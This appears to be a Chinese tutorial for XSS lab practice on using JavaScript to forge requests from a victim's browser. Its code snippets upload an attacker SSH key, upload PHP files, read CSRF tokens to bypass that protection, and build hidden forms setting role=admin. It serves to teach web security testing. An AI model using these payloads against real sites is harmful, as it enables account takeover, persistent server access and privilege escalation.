HTTP请求 JavaScript可以直接在浏览器上发起HTTP请求
POST/GET请求 一个 HTTP 请求通常由三部分组成:
例如:
1 2 3 4 5 6 POST /admin/enable_ssh HTTP/1.1 Host: admin.example.local Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=xxxx Submit=Enable+SSH
可以拆成:
1 2 3 4 5 6 POST 请求方法 /admin/enable_ssh 请求路径 Host 目标主机 Content-Type 请求体格式 Cookie 当前用户的登录凭据 Submit=Enable+SSH 请求体内容
JavaScript 写法:1 2 3 4 fetch('/admin',{ method: 'POST', body: fd });
文件上传操作 在 XSS 后利用中,JavaScript 可以模拟浏览器文件上传请求。
常见用途:
1 2 3 4 5 1. 上传 SSH 公钥 2. 上传配置文件 3. 上传头像文件 4. 上传普通文本文件 5. 复现后台文件上传表单请求
核心对象:
1 2 3 4 FormData:模拟表单数据 Blob:把字符串内容构造成“文件内容” File:更像真实文件对象 fetch / XMLHttpRequest:发送 HTTP 请求
文件上传的 HTTP 本质 普通文件上传表单一般长这样:
1 2 3 4 <form action ="/upload" method ="POST" enctype ="multipart/form-data" > <input type ="file" name ="file" > <input type ="submit" name ="Submit" value ="Submit" > </form >
提交后,本质是发送:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /upload HTTP/1.1 Content-Type : multipart/form-data; boundary=----xxxContent-Disposition: form-data; name ="file"; filename="test.txt" Content-Type : text /plain hello world Content-Disposition: form-data; name ="Submit" Submit
所以 JavaScript 要做的事情就是:
1 2 3 4 1. 创建表单数据 FormData 2. 构造文件内容 Blob / File 3. 把文件加入 FormData 4. 发送 POST 请求
使用 Blob 构造文件上传 1 2 3 4 5 6 7 8 9 10 11 12 13 14 let content = 'hello world' ;let fileBlob = new Blob ([content], { type : 'text/plain' }); let fd = new FormData ();fd.append ('file' , fileBlob, 'test.txt' ); fd.append ('Submit' , 'Submit' ); fetch ('/upload' , { method : 'POST' , body : fd });
解释:
1 2 3 4 5 6 content 文件内容 Blob 把字符串包装成文件数据 type 文件 MIME 类型 FormData 模拟 multipart/form-data 表单 fd.append('file', ...) file 是上传字段名 test.txt 上传时显示的文件名
重点是这一句:
1 fd.append ('file' , fileBlob, 'test.txt' );
它等价于表单里的:
1 <input type ="file" name ="file" >
其中:
1 2 3 file 参数名 fileBlob 文件内容 test.txt 文件名
上传 SSH 公钥示例 例如后台有一个上传 SSH 公钥的接口:
1 2 3 4 POST /key 字段名:file 文件名:id_rsa.pub 额外字段:Submit=Submit
可以这样写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 let sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxxxx attacker' ;let fileBlob = new Blob ([sshKeyContent], { type : 'application/octet-stream' }); let fd = new FormData ();fd.append ('file' , fileBlob, 'id_rsa.pub' ); fd.append ('Submit' , 'Submit' ); fetch ('/key' , { method : 'POST' , body : fd });
如果用 XMLHttpRequest 写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var xhr = new XMLHttpRequest ();var fd = new FormData ();var sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxxxx attacker' ;var fileBlob = new Blob ([sshKeyContent], { type : 'application/octet-stream' }); fd.append ('file' , fileBlob, 'id_rsa.pub' ); fd.append ('Submit' , 'Submit' ); xhr.open ('POST' , '/key' , true ); xhr.send (fd);
注意:为什么不用手动设置 Content-Type
文件上传时不要这样写:
1 2 3 4 5 6 7 fetch ('/upload' , { method : 'POST' , headers : { 'Content-Type' : 'multipart/form-data' }, body : fd });
原因是 multipart/form-data 需要 boundary,例如:
1 Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryxxxx
这个 boundary 由浏览器自动生成。
所以正确写法是:
1 2 3 4 fetch ('/upload' , { method : 'POST' , body : fd });
浏览器会自动设置:
1 Content-Type : multipart/form-data; boundary=...
Blob 和 File 的区别 Blob Blob 只表示一段文件内容。
1 2 3 let blob = new Blob (['hello' ], { type : 'text/plain' });
上传时需要在 append() 里指定文件名:
1 fd.append ('file' , blob, 'test.txt' );
File File 更像真实文件,包含文件名。
1 2 3 4 5 6 let file = new File (['hello' ], 'test.txt' , { type : 'text/plain' }); let fd = new FormData ();fd.append ('file' , file);
这两种都可以用于文件上传。
XSS 打靶里更常见的是 Blob,因为写法简单。
如果页面本身有文件上传框:
1 <input type ="file" id ="avatar" name ="avatar" >
JavaScript 可以读取用户已经选择的文件:
1 2 3 4 5 6 7 8 9 10 let input = document .querySelector ('#avatar' );let file = input.files [0 ];let fd = new FormData ();fd.append ('avatar' , file); fetch ('/upload' , { method : 'POST' , body : fd });
但是浏览器安全机制不允许 JavaScript 随便读取本地文件路径。
也就是说,不能这样:
1 fd.append ('file' , '/home/user/.ssh/id_rsa' );
浏览器不会允许 JS 直接读取任意本地文件。
在 XSS 利用中,如果要上传文件,一般是:
1 攻击者自己构造文件内容 → Blob → FormData → 上传
而不是读取受害者本地磁盘文件。
带普通字段的文件上传 很多上传接口除了文件,还需要其他字段。
例如:
1 2 3 4 file=文件 title=test type=public Submit=Upload
JavaScript:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 let content = 'hello world' ;let blob = new Blob ([content], { type : 'text/plain' }); let fd = new FormData ();fd.append ('file' , blob, 'test.txt' ); fd.append ('title' , 'test' ); fd.append ('type' , 'public' ); fd.append ('Submit' , 'Upload' ); fetch ('/upload' , { method : 'POST' , body : fd });
带 CSRF Token 的文件上传 如果上传表单里有 CSRF Token:
1 <input type ="hidden" name ="csrf" value ="abc123" >
请求中也必须带上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 let token = document .querySelector ('input[name="csrf"]' ).value ;let blob = new Blob (['hello world' ], { type : 'text/plain' }); let fd = new FormData ();fd.append ('csrf' , token); fd.append ('file' , blob, 'test.txt' ); fd.append ('Submit' , 'Upload' ); fetch ('/upload' , { method : 'POST' , body : fd });
如果 XSS 代码和目标页面同源,通常可以直接读取页面里的 CSRF Token。
所以:
1 2 CSRF Token 可以防 CSRF 但不一定能防 XSS
上传 JSON 伪装文件 如果目标接口要求上传 .json 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 let jsonContent = JSON .stringify ({ username : 'test' , role : 'admin' }); let blob = new Blob ([jsonContent], { type : 'application/json' }); let fd = new FormData ();fd.append ('file' , blob, 'config.json' ); fetch ('/upload' , { method : 'POST' , body : fd });
上传 PHP 文件示例 靶场中有时会测试文件上传漏洞,例如上传 .php 文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 let phpContent = '<?php echo "test"; ?>' ;let blob = new Blob ([phpContent], { type : 'application/x-php' }); let fd = new FormData ();fd.append ('file' , blob, 'test.php' ); fd.append ('Submit' , 'Upload' ); fetch ('/upload' , { method : 'POST' , body : fd });
是否能成功执行,取决于服务端:
1 2 3 4 5 1. 是否允许上传 PHP 后缀 2. 是否检查 MIME 类型 3. 是否重命名文件 4. 上传目录是否可执行 5. Web 服务是否解析该目录下的 PHP
JavaScript 只负责上传,真正是否能利用取决于后端配置。
使用 XMLHttpRequest 上传并监听结果 如果想知道上传是否成功,可以监听返回状态。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 let blob = new Blob (['hello world' ], { type : 'text/plain' }); let fd = new FormData ();fd.append ('file' , blob, 'test.txt' ); let xhr = new XMLHttpRequest ();xhr.onload = function ( ) { console .log ('status:' , xhr.status ); console .log ('response:' , xhr.responseText ); }; xhr.open ('POST' , '/upload' , true ); xhr.send (fd);
常见状态码:
1 2 3 4 5 6 200 成功 302 跳转 400 参数错误 403 权限不足 / CSRF 校验失败 404 路径错误 500 服务端错误
表单 一个普通表单可能长这样:
1 2 3 4 5 <form action="/admin/update" method="POST"> <input type="text" name="username"> <input type="hidden" name="csrf" value="abc123"> <input type="submit" name="Submit" value="Update"> </form>
重点看这几个属性:
1 2 3 4 5 action 表单提交地址 method 提交方法,GET / POST name 参数名 value 参数值 type 输入类型
这个表单提交后,本质上会产生请求:
1 2 3 4 POST /admin/update HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=xxx&csrf=abc123&Submit=Update
所以表单的核心是:
1 2 3 4 input 的 name 变成参数名 input 的 value 变成参数值 form 的 action 变成请求路径 form 的 method 变成请求方法
获取表单元素 常用方法:
1 2 3 4 document.querySelector('form') document.querySelector('#login') document.querySelector('input[name="username"]') document.querySelector('button[type="submit"]')
例如:
1 2 3 4 5 <form id="login"> <input name="username"> <input name="password"> <button type="submit">Login</button> </form>
JavaScript 获取:
1 2 3 4 let form = document.querySelector('#login'); let user = document.querySelector('input[name="username"]'); let pass = document.querySelector('input[name="password"]'); let btn = document.querySelector('button[type="submit"]');
文本框:
1 document.querySelector('input[name="username"]').value = 'admin';
密码框:
1 document.querySelector('input[name="password"]').value = '123456';
隐藏字段:
1 document.querySelector('input[name="csrf"]').value;
textarea:
1 document.querySelector('textarea[name="content"]').value = 'hello';
select:
1 document.querySelector('select[name="role"]').value = 'admin';
checkbox:
1 document.querySelector('input[name="agree"]').checked = true;
radio:
1 document.querySelector('input[value="admin"]').checked = true;
有些页面不是只看 .value,而是监听输入事件。
例如页面可能有:
1 2 3 input.addEventListener('input', function () { console.log('内容变化'); });
这时只写:
可能不够,因为事件没有触发。
需要手动触发:
1 2 3 4 5 6 7 8 9 10 11 let input = document.querySelector('input[name="username"]'); input.value = 'admin'; input.dispatchEvent(new Event('input', { bubbles: true })); input.dispatchEvent(new Event('change', { bubbles: true }));
常见需要触发的事件:
1 2 3 4 5 6 input 输入内容变化 change 表单值变化 click 点击按钮 submit 提交表单 focus 获得焦点 blur 失去焦点
在普通 HTML 页面中,.value 后直接提交通常就行。
在 React / Vue / Angular 页面中,很多时候需要触发 input 或 change 事件。
点击按钮提交 最常见写法:
1 document.querySelector('button[type="submit"]').click();
按 id 点击:
1 document.querySelector('#submit').click();
按按钮文字查找:
1 2 3 [...document.querySelectorAll('button')] .find(btn => btn.innerText.includes('Submit')) .click();
也可以找 input submit:
1 document.querySelector('input[type="submit"]').click();
例如:
1 2 3 document.querySelector('input[name="username"]').value = 'admin'; document.querySelector('input[name="password"]').value = '123456'; document.querySelector('button[type="submit"]').click();
直接提交表单:
1 document.querySelector('form').submit();
点击提交按钮:
1 document.querySelector('button[type="submit"]').click();
区别:
1 2 3 4 5 6 7 8 9 button.click() 更像真实用户点击按钮 会触发 click 事件 通常也会触发表单 submit 事件 form.submit() 直接提交表单 不一定触发 submit 事件 可能绕过前端 submit 监听逻辑
所以打靶时优先尝试:
1 document.querySelector('button[type="submit"]').click();
如果只是想强制提交,可以用:
1 document.querySelector('form').submit();
现代浏览器还可以用:
1 document.querySelector('form').requestSubmit();
requestSubmit() 比 submit() 更接近正常表单提交,会触发表单校验和 submit 事件。
触发 submit 事件 如果页面 JS 监听了 submit:
1 2 3 form.addEventListener('submit', function (e) { console.log('提交表单'); });
可以手动触发:
1 2 3 4 5 6 let form = document.querySelector('form'); form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
但是要注意:
1 2 dispatchEvent(new Event('submit')) 只是触发事件 不一定真的发送 HTTP 请求
真正提交一般还是用:
或者:
或者:
等待表单加载完成 有些代码执行得太早,表单还没有加载出来。
可以延迟执行:
1 2 3 setTimeout(() => { document.querySelector('button[type="submit"]').click(); }, 1000);
也可以等 DOM 加载完成:
1 2 3 document.addEventListener('DOMContentLoaded', () => { document.querySelector('button[type="submit"]').click(); });
如果页面是异步加载,可以轮询等待:
1 2 3 4 5 6 7 8 9 let timer = setInterval(() => { let form = document.querySelector('form'); let btn = document.querySelector('button[type="submit"]'); if (form && btn) { clearInterval(timer); btn.click(); } }, 500);
这类写法在打靶里很常见。
自动填表并点击提交 假设页面表单如下:
1 2 3 4 5 <form action="/profile" method="POST"> <input name="email"> <textarea name="bio"></textarea> <button type="submit">Save</button> </form>
自动填表:
1 2 3 4 5 6 7 8 9 10 11 let email = document.querySelector('input[name="email"]'); let bio = document.querySelector('textarea[name="bio"]'); let btn = document.querySelector('button[type="submit"]'); email.value = 'test@example.com'; bio.value = 'hello'; email.dispatchEvent(new Event('input', { bubbles: true })); bio.dispatchEvent(new Event('input', { bubbles: true })); btn.click();
如果按钮晚点出现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 let timer = setInterval(() => { let email = document.querySelector('input[name="email"]'); let bio = document.querySelector('textarea[name="bio"]'); let btn = document.querySelector('button[type="submit"]'); if (email && bio && btn) { clearInterval(timer); email.value = 'test@example.com'; bio.value = 'hello'; email.dispatchEvent(new Event('input', { bubbles: true })); bio.dispatchEvent(new Event('input', { bubbles: true })); btn.click(); } }, 500);
直接构造一个隐藏表单提交 有时候页面没有现成表单,也可以用 JavaScript 创建表单。
1 2 3 4 5 6 7 8 9 10 11 12 let form = document.createElement('form'); form.method = 'POST'; form.action = '/admin/update'; let input = document.createElement('input'); input.name = 'role'; input.value = 'admin'; form.appendChild(input); document.body.appendChild(form); form.submit();
多个参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 let form = document.createElement('form'); form.method = 'POST'; form.action = '/admin/update'; let params = { username: 'test', role: 'admin', Submit: 'Update' }; for (let key in params) { let input = document.createElement('input'); input.name = key; input.value = params[key]; form.appendChild(input); } document.body.appendChild(form); form.submit();
这种方式本质上是模拟普通 HTML 表单提交。
如果页面已经有一个表单,可以直接用 FormData 读取它:
1 2 3 4 5 6 7 let form = document.querySelector('form'); let fd = new FormData(form); fetch(form.action, { method: form.method, body: fd });
也可以在原表单基础上修改字段:
1 2 3 4 5 6 7 8 9 10 let form = document.querySelector('form'); let fd = new FormData(form); fd.set('username', 'admin'); fd.set('role', 'admin'); fetch(form.action, { method: form.method, body: fd });
常用方法:
1 2 3 4 fd.append(name, value) 添加字段 fd.set(name, value) 设置字段 fd.get(name) 获取字段 fd.delete(name) 删除字段
FormData 转普通 POST 请求 如果目标接口使用:
1 Content-Type: application/x-www-form-urlencoded
可以这样构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 let data = new URLSearchParams(); data.append('username', 'admin'); data.append('role', 'admin'); data.append('Submit', 'Update'); fetch('/admin/update', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: data.toString() });
结果类似:
1 username=admin&role=admin&Submit=Update
也可以从表单直接转换:
1 2 3 4 5 6 7 8 9 10 let form = document.querySelector('form'); let data = new URLSearchParams(new FormData(form)); fetch(form.action, { method: form.method, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: data.toString() });
读取 CSRF Token 很多表单里有隐藏 token:
1 <input type="hidden" name="csrf" value="abc123">
读取方式:
1 let token = document.querySelector('input[name="csrf"]').value;
然后放入请求:
1 2 3 4 5 6 7 8 9 10 11 12 let data = new URLSearchParams(); data.append('csrf', token); data.append('Submit', 'Update'); fetch('/admin/update', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: data.toString() });
如果使用 FormData:
1 2 3 4 5 6 7 8 let fd = new FormData(); fd.append('csrf', token); fd.append('Submit', 'Update'); fetch('/admin/update', { method: 'POST', body: fd });
获取表单 action 和 method 可以自动读取表单的提交地址和方法:
1 2 3 4 let form = document.querySelector('form'); console.log(form.action); console.log(form.method);
示例:
1 2 3 4 5 6 7 let form = document.querySelector('form'); let fd = new FormData(form); fetch(form.action, { method: form.method || 'POST', body: fd });
注意:
1 2 form.action 通常会变成完整 URL form.method 通常是 get 或 post
如果 method 为空,HTML 表单默认是 GET。